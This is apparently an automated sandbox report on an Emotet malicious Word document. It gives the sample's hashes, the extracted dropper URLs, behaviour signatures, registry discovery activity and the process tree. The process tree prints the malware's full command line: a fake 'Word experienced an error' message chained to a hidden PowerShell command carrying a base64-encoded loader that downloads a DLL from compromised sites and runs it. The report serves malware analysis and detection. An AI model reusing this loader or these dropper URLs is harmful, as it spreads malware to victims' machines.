c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd

General

Target
emotet_e2_c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd_2020-12-23__015205947959._doc.doc
Size 209KB
Sample201223-srpg1y2p7s
SHA256 c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd
MD5 c24ac3e43393a27e7af9f4b1db2cbbb4
SHA1 70b57ab42db8166e91aaebedcc55d0ff2580ac4f
SHA512 d2ce64b949fa08838126df01ca249795ec7ac8726840b044d97fccd6e9efb6d538226786a461af21de9890030bc22d14ffd706a24e11734efd760d9ff5954a78
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://venuspowerbd.com/wp-includes/bLm/
exe.dropper
http://amyzeng.net/content/mgms/
exe.dropper
http://www.aciparis.com/content/Cs/
exe.dropper
http://sancydubai.com/setupconfigo/R9/
exe.dropper
http://atom.lk/wp-content/DL/
exe.dropper
http://datnenduanbd.com/public_html/Dezl7/
exe.dropper
http://sanolifescence.com/cgi-bin/E/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8	4056	cmd.exe	38

Blocklisted process makes network request 2 IoCs

flow	pid	Process
20	2072	powershell.exe
22	2072	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4048	WINWORD.EXE
4048	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2072	powershell.exe
2072	powershell.exe
2072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 1336	8	cmd.exe	78
PID 8 wrote to memory of 1336	8	cmd.exe	78
PID 8 wrote to memory of 2072	8	cmd.exe	79
PID 8 wrote to memory of 2072	8	cmd.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd_2020-12-23__015205947959._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4048

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAQQBIADYASwA9ACAAWwB0AHkAcABlAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsANQB9AHsAMwB9AHsAMQB9ACIALQBGACAAJwAuAEkATwAuACcALAAnAHkAJwAsACcAbQAnACwAJwBDAFQATwBSACcALAAnAHMAeQBTAHQAZQAnACwAJwBkAGkAcgBFACcAKQA7ACAAIAAgAFMAZQB0AC0ASQB0AEUAbQAgACgAIgB2AEEAcgAiACsAIgBpAEEAQgBMAGUAOgBGAHoAMAAiACsAIgBXACIAKwAiAEwAaAAiACkAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADcAfQB7ADMAfQB7ADAAfQB7ADgAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiAC0AZgAgACcALgBuAGUAVAAuAHMAZQAnACwAJwBBACcALAAnAEkAbgB0AG0AQQAnACwAJwB0AEUATQAnACwAJwBuACcALAAnAGcAZQAnACwAJwByACcALAAnAHMAWQBzACcALAAnAFIAVgBpAEMARQBwAG8AJwApACAAIAApACAAIAA7ACQARAAxADcAVAA9ACgAKAAnAFgANQAnACsAJwA5ACcAKQArACcASAAnACkAOwAkAFMAMwBiADEAcgBmADAAPQAkAEsAMAA0AEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAOAA4AEcAOwAkAFAAMQA5AE8APQAoACgAJwBDADEAJwArACcANwAnACkAKwAnAFEAJwApADsAIAAgACgAIABWAGEAUgBpAGEAYgBsAGUAIABBAGgANgBLACAAKQAuAFYAQQBMAFUARQA6ADoAIgBDAHIAZQBhAHQAZQBkAGAASQByAEUAYABDAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AFoAJwArACgAJwBqADMAMQAnACsAJwA2ACcAKQArACcAawBuAHsAMAB9AFQAMgAnACsAJwAzAGgAJwArACcAZgBnAGoAewAwAH0AJwApACAAIAAtAGYAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQASwA3ADYAUAA9ACgAJwBLADcAJwArACcAMwBLACcAKQA7ACAAJABGAHoAMAB3AEwASAA6ADoAIgBTAEUAQwB1AFIASQB0AGAAWQBQAGAAUgBgAE8AdABgAE8AQwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAFYAXwA1AFcAPQAoACcATQAnACsAKAAnADMAOAAnACsAJwBBACcAKQApADsAJABWAHQAeAA1AG0AbwB6ACAAPQAgACgAJwBNADUAJwArACcAXwBZACcAKQA7ACQAQQA0ADEAUAA9ACgAJwBWACcAKwAoACcAMAAyACcAKwAnAFYAJwApACkAOwAkAFYAegB0AGgAdgBuADUAPQAkAEgATwBNAEUAKwAoACgAJwBJACcAKwAnAFQAJwArACcAcQAnACsAJwBaACcAKwAoACcAagAzACcAKwAnADEAJwApACsAKAAnADYAawAnACsAJwBuAEkAJwApACsAKAAnAFQAcQAnACsAJwBUACcAKwAnADIAMwBoAGYAZwBqAEkAJwApACsAJwBUAHEAJwApAC0AUgBlAHAAbABhAGMARQAoAFsAYwBoAEEAcgBdADcAMwArAFsAYwBoAEEAcgBdADgANAArAFsAYwBoAEEAcgBdADEAMQAzACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVgB0AHgANQBtAG8AegArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwA0ADgATgA9ACgAJwBEADYAJwArACcANABFACcAKQA7ACQAWQB3ADkAdgA3AHkAbgA9AE4ARQB3AGAALQBPAGIASgBgAEUAQwBUACAATgBlAFQALgBXAGUAYgBjAEwAaQBlAE4AVAA7ACQAVgA5AHoAcABsAGMAMQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACgAJwBzACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAKQAoAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAHYAZQBuAHUAJwApACkAKwAnAHMAcAAnACsAJwBvAHcAJwArACcAZQByACcAKwAnAGIAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAHEAcQAnACkAKwAoACgAJwApACgAcwAyACkAJwArACcAKAAnACkAKQArACcAdwAnACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAoACgAJwBzAHEAJwArACcAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGIAJwArACcATABtACcAKQArACcAcQAnACsAKAAoACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAnAEAAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBxACcAKQApACsAKAAoACcAKQAoAHMAJwArACcAMgApACcAKwAnACgAYQAnACsAJwBtAHkAJwApACkAKwAoACcAegAnACsAJwBlAG4AZwAnACkAKwAnAC4AJwArACgAJwBuAGUAJwArACcAdAAnACkAKwAnAHEAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAYwBvAG4AJwArACcAdABlACcAKwAnAG4AJwApACkAKwAnAHQAcQAnACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKABtAGcAbQAnACkAKQArACgAKAAnAHMAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgAnACsAJwApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAJwApACsAKAAoACcAdABwACcAKwAnADoAcQBxACcAKwAnACkAKABzADIAJwApACkAKwAnACkAJwArACgAKAAnACgAcQAnACkAKQArACgAKAAnAHEAJwArACcAKQAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAB3ACcAKQApACsAJwB3ACcAKwAoACcAdwAuACcAKwAnAGEAYwAnACkAKwAoACcAaQBwAGEAJwArACcAcgBpACcAKQArACcAcwAnACsAKAAnAC4AYwBvACcAKwAnAG0AcQBxACcAKQArACgAKAAnACkAKABzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAKAAnAHEAcQApACcAKwAnACgAcwAyACkAJwApACkAKwAoACgAJwAoAEMAcwBxACcAKwAnAHEAJwApACkAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAQAAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAoACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAKAAoACcAKABzACcAKwAnAGEAJwApACkAKwAnAG4AJwArACgAJwBjAHkAZAB1ACcAKwAnAGIAJwApACsAKAAnAGEAJwArACcAaQAuACcAKQArACgAJwBjAG8AJwArACcAbQBxAHEAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcwAyACkAKABzAGUAdAB1AHAAYwAnACsAJwBvACcAKwAnAG4AZgAnACsAJwBpACcAKQApACsAJwBnAG8AJwArACgAKAAnAHEAcQAnACsAJwApACgAJwApACkAKwAnAHMAJwArACgAKAAnADIAKQAnACsAJwAoAFIAOQAnACsAJwBxAHEAKQAoACcAKwAnAHMAJwArACcAMgApACgAQABoAHQAdABwACcAKQApACsAJwA6ACcAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABxAHEAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKABhACcAKQApACsAKAAnAHQAJwArACcAbwBtACcAKQArACcALgBsACcAKwAnAGsAJwArACcAcQBxACcAKwAoACgAJwApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAJwB3AHAAJwArACgAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACgAKAAnAHQAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKABEACcAKQApACsAKAAoACcATABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAQABoACcAKwAnAHQAJwApACkAKwAoACgAJwB0AHAAOgBxAHEAKQAnACsAJwAoAHMAJwArACcAMgApACcAKwAnACgAJwApACkAKwAnAHEAJwArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwBkACcAKwAnAGEAdAAnACsAJwBuAGUAbgBkAHUAJwApACkAKwAoACgAJwBhAG4AYgBkAC4AYwAnACsAJwBvAG0AcQBxACcAKwAnACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACcAcAB1ACcAKwAnAGIAbABpACcAKwAnAGMAXwAnACsAJwBoAHQAbQBsACcAKQArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAyACkAKABEAGUAegAnACkAKQArACcAbAAnACsAKAAnADcAcQAnACsAJwBxACcAKQArACgAKAAnACkAKABzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAQAAnACkAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKABzACcAKwAnADIAKQAnACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAcwAnACkAKQArACgAJwBhAG4AJwArACcAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAZQBuAGMAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAMgApACgAYwAnACsAJwBnACcAKQApACsAKAAnAGkALQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnAG4AcQAnACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAEUAJwArACcAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJwApACkAKQApAC4AIgByAGUAYABQAEwAQQBDAEUAIgAoACgAKAAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAGwASQBUACIAKAAkAFAAOABfAFIAIAArACAAJABTADMAYgAxAHIAZgAwACAAKwAgACQAVgA1ADcATwApADsAJABZADcANwBVAD0AKAAnAEQANgAnACsAJwA3AEMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADAAdQBkAHgAbgA1ACAAaQBuACAAJABWADkAegBwAGwAYwAxACAAfAAgAHMAYABvAFIAdAAtAGAAbwBCAGoARQBjAFQAIAB7AGcAYABlAGAAVAAtAFIAYQBgAE4AZABvAG0AfQApAHsAdAByAHkAewAkAFkAdwA5AHYANwB5AG4ALgAiAGQAbwBgAFcAYABOAEwATwBBAGQAZgBpAGwARQAiACgAJABFADAAdQBkAHgAbgA1ACwAIAAkAFYAegB0AGgAdgBuADUAKQA7ACQAWgAwADcARwA9ACgAJwBEADYAJwArACcAMgBUACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABWAHoAdABoAHYAbgA1ACkALgAiAEwAYABFAGAATgBHAHQASAAiACAALQBnAGUAIAA0ADgANwA0ADYAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVgB6AHQAaAB2AG4ANQAsACcAIwAxACcALgAiAFQATwBzAFQAUgBpAGAATgBnACIAKAApADsAJABFADkANgBHAD0AKAAnAEoAJwArACgAJwA0AF8AJwArACcATQAnACkAKQA7AGIAcgBlAGEAawA7ACQASAA3ADkAUgA9ACgAKAAnAFUAXwAnACsAJwBfACcAKQArACcARAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAMwBfAE0APQAoACcAQgAnACsAKAAnADgAJwArACcAOABOACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:1336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD IAAgACQAQQBIADYASwA9ACAAWwB0AHkAcABlAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsANQB9AHsAMwB9AHsAMQB9ACIALQBGACAAJwAuAEkATwAuACcALAAnAHkAJwAsACcAbQAnACwAJwBDAFQATwBSACcALAAnAHMAeQBTAHQAZQAnACwAJwBkAGkAcgBFACcAKQA7ACAAIAAgAFMAZQB0AC0ASQB0AEUAbQAgACgAIgB2AEEAcgAiACsAIgBpAEEAQgBMAGUAOgBGAHoAMAAiACsAIgBXACIAKwAiAEwAaAAiACkAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADcAfQB7ADMAfQB7ADAAfQB7ADgAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiAC0AZgAgACcALgBuAGUAVAAuAHMAZQAnACwAJwBBACcALAAnAEkAbgB0AG0AQQAnACwAJwB0AEUATQAnACwAJwBuACcALAAnAGcAZQAnACwAJwByACcALAAnAHMAWQBzACcALAAnAFIAVgBpAEMARQBwAG8AJwApACAAIAApACAAIAA7ACQARAAxADcAVAA9ACgAKAAnAFgANQAnACsAJwA5ACcAKQArACcASAAnACkAOwAkAFMAMwBiADEAcgBmADAAPQAkAEsAMAA0AEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAOAA4AEcAOwAkAFAAMQA5AE8APQAoACgAJwBDADEAJwArACcANwAnACkAKwAnAFEAJwApADsAIAAgACgAIABWAGEAUgBpAGEAYgBsAGUAIABBAGgANgBLACAAKQAuAFYAQQBMAFUARQA6ADoAIgBDAHIAZQBhAHQAZQBkAGAASQByAEUAYABDAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AFoAJwArACgAJwBqADMAMQAnACsAJwA2ACcAKQArACcAawBuAHsAMAB9AFQAMgAnACsAJwAzAGgAJwArACcAZgBnAGoAewAwAH0AJwApACAAIAAtAGYAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQASwA3ADYAUAA9ACgAJwBLADcAJwArACcAMwBLACcAKQA7ACAAJABGAHoAMAB3AEwASAA6ADoAIgBTAEUAQwB1AFIASQB0AGAAWQBQAGAAUgBgAE8AdABgAE8AQwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAFYAXwA1AFcAPQAoACcATQAnACsAKAAnADMAOAAnACsAJwBBACcAKQApADsAJABWAHQAeAA1AG0AbwB6ACAAPQAgACgAJwBNADUAJwArACcAXwBZACcAKQA7ACQAQQA0ADEAUAA9ACgAJwBWACcAKwAoACcAMAAyACcAKwAnAFYAJwApACkAOwAkAFYAegB0AGgAdgBuADUAPQAkAEgATwBNAEUAKwAoACgAJwBJACcAKwAnAFQAJwArACcAcQAnACsAJwBaACcAKwAoACcAagAzACcAKwAnADEAJwApACsAKAAnADYAawAnACsAJwBuAEkAJwApACsAKAAnAFQAcQAnACsAJwBUACcAKwAnADIAMwBoAGYAZwBqAEkAJwApACsAJwBUAHEAJwApAC0AUgBlAHAAbABhAGMARQAoAFsAYwBoAEEAcgBdADcAMwArAFsAYwBoAEEAcgBdADgANAArAFsAYwBoAEEAcgBdADEAMQAzACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVgB0AHgANQBtAG8AegArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwA0ADgATgA9ACgAJwBEADYAJwArACcANABFACcAKQA7ACQAWQB3ADkAdgA3AHkAbgA9AE4ARQB3AGAALQBPAGIASgBgAEUAQwBUACAATgBlAFQALgBXAGUAYgBjAEwAaQBlAE4AVAA7ACQAVgA5AHoAcABsAGMAMQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACgAJwBzACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAKQAoAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAHYAZQBuAHUAJwApACkAKwAnAHMAcAAnACsAJwBvAHcAJwArACcAZQByACcAKwAnAGIAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAHEAcQAnACkAKwAoACgAJwApACgAcwAyACkAJwArACcAKAAnACkAKQArACcAdwAnACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAoACgAJwBzAHEAJwArACcAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGIAJwArACcATABtACcAKQArACcAcQAnACsAKAAoACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAnAEAAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBxACcAKQApACsAKAAoACcAKQAoAHMAJwArACcAMgApACcAKwAnACgAYQAnACsAJwBtAHkAJwApACkAKwAoACcAegAnACsAJwBlAG4AZwAnACkAKwAnAC4AJwArACgAJwBuAGUAJwArACcAdAAnACkAKwAnAHEAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAYwBvAG4AJwArACcAdABlACcAKwAnAG4AJwApACkAKwAnAHQAcQAnACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKABtAGcAbQAnACkAKQArACgAKAAnAHMAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgAnACsAJwApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAJwApACsAKAAoACcAdABwACcAKwAnADoAcQBxACcAKwAnACkAKABzADIAJwApACkAKwAnACkAJwArACgAKAAnACgAcQAnACkAKQArACgAKAAnAHEAJwArACcAKQAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAB3ACcAKQApACsAJwB3ACcAKwAoACcAdwAuACcAKwAnAGEAYwAnACkAKwAoACcAaQBwAGEAJwArACcAcgBpACcAKQArACcAcwAnACsAKAAnAC4AYwBvACcAKwAnAG0AcQBxACcAKQArACgAKAAnACkAKABzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAKAAnAHEAcQApACcAKwAnACgAcwAyACkAJwApACkAKwAoACgAJwAoAEMAcwBxACcAKwAnAHEAJwApACkAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAQAAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAoACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAKAAoACcAKABzACcAKwAnAGEAJwApACkAKwAnAG4AJwArACgAJwBjAHkAZAB1ACcAKwAnAGIAJwApACsAKAAnAGEAJwArACcAaQAuACcAKQArACgAJwBjAG8AJwArACcAbQBxAHEAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcwAyACkAKABzAGUAdAB1AHAAYwAnACsAJwBvACcAKwAnAG4AZgAnACsAJwBpACcAKQApACsAJwBnAG8AJwArACgAKAAnAHEAcQAnACsAJwApACgAJwApACkAKwAnAHMAJwArACgAKAAnADIAKQAnACsAJwAoAFIAOQAnACsAJwBxAHEAKQAoACcAKwAnAHMAJwArACcAMgApACgAQABoAHQAdABwACcAKQApACsAJwA6ACcAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABxAHEAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKABhACcAKQApACsAKAAnAHQAJwArACcAbwBtACcAKQArACcALgBsACcAKwAnAGsAJwArACcAcQBxACcAKwAoACgAJwApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAJwB3AHAAJwArACgAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACgAKAAnAHQAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKABEACcAKQApACsAKAAoACcATABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAQABoACcAKwAnAHQAJwApACkAKwAoACgAJwB0AHAAOgBxAHEAKQAnACsAJwAoAHMAJwArACcAMgApACcAKwAnACgAJwApACkAKwAnAHEAJwArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwBkACcAKwAnAGEAdAAnACsAJwBuAGUAbgBkAHUAJwApACkAKwAoACgAJwBhAG4AYgBkAC4AYwAnACsAJwBvAG0AcQBxACcAKwAnACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACcAcAB1ACcAKwAnAGIAbABpACcAKwAnAGMAXwAnACsAJwBoAHQAbQBsACcAKQArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAyACkAKABEAGUAegAnACkAKQArACcAbAAnACsAKAAnADcAcQAnACsAJwBxACcAKQArACgAKAAnACkAKABzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAQAAnACkAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKABzACcAKwAnADIAKQAnACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAcwAnACkAKQArACgAJwBhAG4AJwArACcAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAZQBuAGMAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAMgApACgAYwAnACsAJwBnACcAKQApACsAKAAnAGkALQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnAG4AcQAnACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAEUAJwArACcAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJwApACkAKQApAC4AIgByAGUAYABQAEwAQQBDAEUAIgAoACgAKAAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAGwASQBUACIAKAAkAFAAOABfAFIAIAArACAAJABTADMAYgAxAHIAZgAwACAAKwAgACQAVgA1ADcATwApADsAJABZADcANwBVAD0AKAAnAEQANgAnACsAJwA3AEMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADAAdQBkAHgAbgA1ACAAaQBuACAAJABWADkAegBwAGwAYwAxACAAfAAgAHMAYABvAFIAdAAtAGAAbwBCAGoARQBjAFQAIAB7AGcAYABlAGAAVAAtAFIAYQBgAE4AZABvAG0AfQApAHsAdAByAHkAewAkAFkAdwA5AHYANwB5AG4ALgAiAGQAbwBgAFcAYABOAEwATwBBAGQAZgBpAGwARQAiACgAJABFADAAdQBkAHgAbgA1ACwAIAAkAFYAegB0AGgAdgBuADUAKQA7ACQAWgAwADcARwA9ACgAJwBEADYAJwArACcAMgBUACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABWAHoAdABoAHYAbgA1ACkALgAiAEwAYABFAGAATgBHAHQASAAiACAALQBnAGUAIAA0ADgANwA0ADYAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVgB6AHQAaAB2AG4ANQAsACcAIwAxACcALgAiAFQATwBzAFQAUgBpAGAATgBnACIAKAApADsAJABFADkANgBHAD0AKAAnAEoAJwArACgAJwA0AF8AJwArACcATQAnACkAKQA7AGIAcgBlAGEAawA7ACQASAA3ADkAUgA9ACgAKAAnAFUAXwAnACsAJwBfACcAKQArACcARAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAMwBfAE0APQAoACcAQgAnACsAKAAnADgAJwArACcAOABOACcAKQApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2072

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2072-5-0x00007FFE24CA0000-0x00007FFE2568C000-memory.dmp

Download

memory/2072-6-0x0000026A8F750000-0x0000026A8F751000-memory.dmp

Download

memory/2072-7-0x0000026AA7DF0000-0x0000026AA7DF1000-memory.dmp

Download

